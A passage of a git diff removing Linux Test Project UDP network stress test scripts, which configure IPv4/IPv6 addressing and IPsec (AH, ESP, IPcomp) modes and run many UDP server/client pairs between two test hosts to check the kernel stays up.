-#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=udp4-multi-diffnic04 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic05 b/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic05 deleted file mode 100644 index 35637068..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffnic05 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different NIC with the following conditions -# -# - The version of IP is IPv4 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=udp4-multi-diffnic05 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic06 b/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic06 deleted file mode 100644 index 8bc360e1..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffnic06 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different NIC with the following conditions -# -# - The version of IP is IPv4 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=udp4-multi-diffnic06 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic07 b/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic07 deleted file mode 100644 index 1dbb4b99..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic07 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffnic07 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different NIC with the following conditions -# - The version of IP is IPv4 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=udp4-multi-diffnic07 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic01 b/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic01 deleted file mode 100644 index d0830b10..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic01 +++ /dev/null @@ -1,56 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffnic01 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different NIC with the following conditions -# - The version of IP is IPv6 -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=udp6-multi-diffnic01 - -# The version of IP -IP_VER=6 - -. udp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic02 b/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic02 deleted file mode 100644 index 021e835a..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic02 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffnic02 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different NIC with the following conditions -# - The version of IP is IPv6 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=udp6-multi-diffnic02 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic03 b/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic03 deleted file mode 100644 index 27642378..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffnic03 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different NIC with the following conditions -# -# - The version of IP is IPv6 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=udp6-multi-diffnic03 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic04 b/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic04 deleted file mode 100644 index 9fc8a57f..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic04 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffnic04 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different NIC with the following conditions -# - The version of IP is IPv6 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=udp6-multi-diffnic04 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic05 b/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic05 deleted file mode 100644 index 2eaf9313..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffnic05 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different NIC with the following conditions -# -# - The version of IP is IPv6 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=udp6-multi-diffnic05 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic06 b/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic06 deleted file mode 100644 index 86ca2be6..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffnic06 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different NIC with the following conditions -# -# - The version of IP is IPv6 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=udp6-multi-diffnic06 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic07 b/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic07 deleted file mode 100644 index 304572ff..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic07 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-multi-diffnic07 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at different NIC with the following conditions -# - The version of IP is IPv6 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=udp6-multi-diffnic07 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/udp/multi-diffport/00_Descriptions.txt b/ltp/testcases/network/stress/udp/multi-diffport/00_Descriptions.txt deleted file mode 100644 index 5644af11..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/00_Descriptions.txt +++ /dev/null @@ -1,56 +0,0 @@ -Verify that the kernel is not crashed with receiving and sending UDP datagram -at many different ports with the following conditions - -udp4-multi-diffport01 - IPv4 - -udp4-multi-diffport02 - IPv4 - IPsec [ AH / transport ] - -udp4-multi-diffport03 - IPv4 - IPsec [ AH / tunnel ] - -udp4-multi-diffport04 - IPv4 - IPsec [ ESP / transport ] - -udp4-multi-diffport05 - IPv4 - IPsec [ ESP / tunnel ] - -udp4-multi-diffport06 - IPv4 - IPcomp [ transport ] - -udp4-multi-diffport07 - IPv4 - IPcomp [ tunnel ] - -udp6-multi-diffport01 - IPv6 - -udp6-multi-diffport02 - IPv6 - IPsec [ AH / transport ] - -udp6-multi-diffport03 - IPv6 - IPsec [ AH / tunnel ] - -udp6-multi-diffport04 - IPv6 - IPsec [ ESP / transport ] - -udp6-multi-diffport05 - IPv6 - IPsec [ ESP / tunnel ] - -udp6-multi-diffport06 - IPv6 - IPcomp [ transport ] - -udp6-multi-diffport07 - IPv6 - IPcomp [ tunnel ] diff --git a/ltp/testcases/network/stress/udp/multi-diffport/Makefile b/ltp/testcases/network/stress/udp/multi-diffport/Makefile deleted file mode 100644 index 118e54cb..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/udp/multi-diffport testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := udp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport01 b/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport01 deleted file mode 100644 index 5c501c30..00000000 --- a/ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport01 +++ /dev/null @@ -1,343 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-multi-diffport01 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram at many different ports with the following conditions -# - The version of IP is IPv4 -# - IPsec is not used -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-udp4-multi-diffport01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel is not crashed with receiving and sending UDP datagram at many different ports with the following conditions" - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../.. ; pwd)`} -export LTPROOT - -# Check the environmanet variable -. check_envval || exit $TST_TOTAL - -# Dulation of the test [sec] -NS_DURATION=${NS_DURATION:-3600} # 1 hour - -# Quantity of the connection for multi connection test -CONNECTION_TOTAL=${CONNECTION_TOTAL:-4000} - -#The number of the test link where tests run -LINK_NUM=${LINK_NUM:-0} - -# The version of IP -IP_VER=${IP_VER:-4} - -# true, if ipsec is used -DO_IPSEC=${DO_IPSEC:-false} - -# The value of SPI -SPI=${SPI:-1000} - -# IPsec Protocol ( ah / esp / ipcomp ) -IPSEC_PROTO=${IPSEC_PROTO:-ah} - -# IPsec Mode ( transport / tunnel ) -IPSEC_MODE=${IPSEC_MODE:-transport} - - -#----------------------------------------------------------------------- -# -# Function: do_cleanup -# -# Description: -# Recover the system configuration -# -#----------------------------------------------------------------------- -do_cleanup() -{ - # Kill the udp traffic server - killall_udp_traffic - - # Unset SAD/SPD - output_ipsec_conf flush | setkey -c >/dev/null 2>&1 - $LTP_RSH $RHOST ${LTPROOT}/'testcases/bin/output_ipsec_conf flush | PATH=/sbin:/usr/sbin:$PATH setkey -c' >/dev/null 2>&1 - - # Clean up each interface - initialize_if lhost ${LINK_NUM} - initialize_if rhost ${LINK_NUM} -} - - -#----------------------------------------------------------------------- -# -# Setup -# - -# Unset the maximum number of processes -ulimit -u unlimited - -# Output the informaion -tst_resm TINFO "- Test duration is $NS_DURATION [sec]" -tst_resm TINFO "- Target number of the connection is $CONNECTION_TOTAL" -tst_resm TINFO "- Version of IP is IPv${IP_VER}" - -if $DO_IPSEC ; then - message=`check_setkey` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - - case $IPSEC_PROTO in - ah) - tst_resm TINFO "- IPsec [ AH / $IPSEC_MODE ]" - ;; - esp) - tst_resm TINFO "- IPsec [ ESP / $IPSEC_MODE ]" - ;; - ipcomp) - tst_resm TINFO "- IPcomp [ $IPSEC_MODE ]" - ;; - esac -fi - -# name of interface of the local/remote host -lhost_ifname=`get_ifname lhost $LINK_NUM` -if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the local host" - exit $TST_TOTAL -fi - -rhost_ifname=`get_ifname rhost $LINK_NUM` -if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the remote host" - exit $TST_TOTAL -fi - - -# Initialize the system configuration -do_cleanup - -# Call do_cleanup function before exit -trap do_cleanup 0 - -# Configurate IP addresses -case $IP_VER in - 4) - # Network portion of the IPv4 address - network_part=${IPV4_NETWORK:-"10.0.0"} - - # Netmask of the IPv4 network - network_mask=24 - - # Host portion of the IPv4 address - lhost_host_part=${LHOST_IPV4_HOST:-"2"} # local host - rhost_host_part=${RHOST_IPV4_HOST:-"1"} # remote host - - # Set IPv4 addresses to the interfaces - set_ipv4addr lhost $LINK_NUM $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local host" - exit 1 - fi - set_ipv4addr rhost $LINK_NUM $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote host" - exit 1 - fi - - # IPv4 address of the local/remote host - lhost_addr="${network_part}.${lhost_host_part}" - rhost_addr="${network_part}.${rhost_host_part}" - ;; - - 6) - # Network portion of the IPv6 address - network_part="fd00:1:1:1" - - # Netmask of the IPv6 network - network_mask=64 - - # Host portion of the IPv6 address - lhost_host_part=":2" # local host - rhost_host_part=":1" # remote host - - # Set IPv6 addresses to the interfaces - add_ipv6addr lhost $LINK_NUM $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local host" - exit 1 - fi - - add_ipv6addr rhost $LINK_NUM $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote host" - exit 1 - fi - - # IPv6 address of the local/remote host - lhost_addr="${network_part}:${lhost_host_part}" - rhost_addr="${network_part}:${rhost_host_part}" - ;; - - *) - tst_resm TBROK "Unknown IP version" - ;; -esac - -# Configure SAD/SPD -if $DO_IPSEC ; then - ipsec_log=`mktemp -p $TMPDIR` - - output_ipsec_conf src \ - $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr \ - | setkey -c 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - tst_resm TBROK "Failed to configure SAD/SPD on the local host." - rm -f $ipsec_log - exit 1 - fi - - $LTP_RSH $RHOST ${LTPROOT}/testcases/bin/output_ipsec_conf dst $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr' | PATH=/sbin:/usr/sbin:$PATH setkey -c' 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - tst_resm TBROK "Failed to configure SAD/SPD on the remote host." - rm -f $ipsec_log - exit 1 - fi - rm -f $ipsec_log -fi - -# Make sure the connectvity -case $IP_VER in - 4) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv4_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv4 connectivity." - exit 1 - fi - ;; - - 6) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv6_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv6 connectivity." - exit 1 - fi - ;; -esac - - -#----------------------------------------------------------------------- -# -# Main -# -# - -# Find the available consecutive ports -portbundle=`find_portbundle udp 1025 $CONNECTION_TOTAL` -if [ $? -ne 0 ]; then - tst_resm TBROK "No port is available." - exit 1 -fi - -start_port=`echo $portbundle | cut -f 1 -d '-'` -end_port=`echo $portbundle | cut -f 2 -d '-'` - - -# Run the pair of server and client -connection_num=0 -current_port=$start_port -while [ $current_port -le $end_port ]; do - # Run a UDP traffic server - ns-udpserver -b -f $IP_VER -p $current_port - if [ $? -ne 0 ]; then - if [ $connection_num -eq 0 ]; then - tst_resm TFAIL "Failed to run a server" - exit 1 - fi - tst_resm TINFO "$connection_num seems the maximum number of the client" - break - fi - - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/ns-udpclient -b -f $IP_VER -S $lhost_addr -p $current_port'; echo $?'` - if [ $ret -ne 0 ]; then - if [ $connection_num -eq 0 ]; then - tst_resm TFAIL "Failed to run a client" - exit 1 - fi - tst_resm TINFO "$connection_num seems the maximum number of the client" - break - fi - current_port=`expr $current_port + 1` - connection_num=`expr $connection_num + 1` -done - - -# Watch the UDP traffic server -start_epoc=`date +%s` -while true ; do - current_epoc=`date +%s` - elapse_epoc=`expr $current_epoc - $start_epoc` - if [ $elapse_epoc -ge $NS_DURATION ]; then - break - else - ps auxw | fgrep -v grep | fgrep -l ns-udpserver >/dev/null 2>&1 - if [ $? -ne 0 ]; then - tst_resm TFAIL "All udp traffic servers are dead in $elapse_epoc [sec]" - exit 1 - fi - fi - sleep 1 -done - -#----------------------------------------------------------------------- -# -# 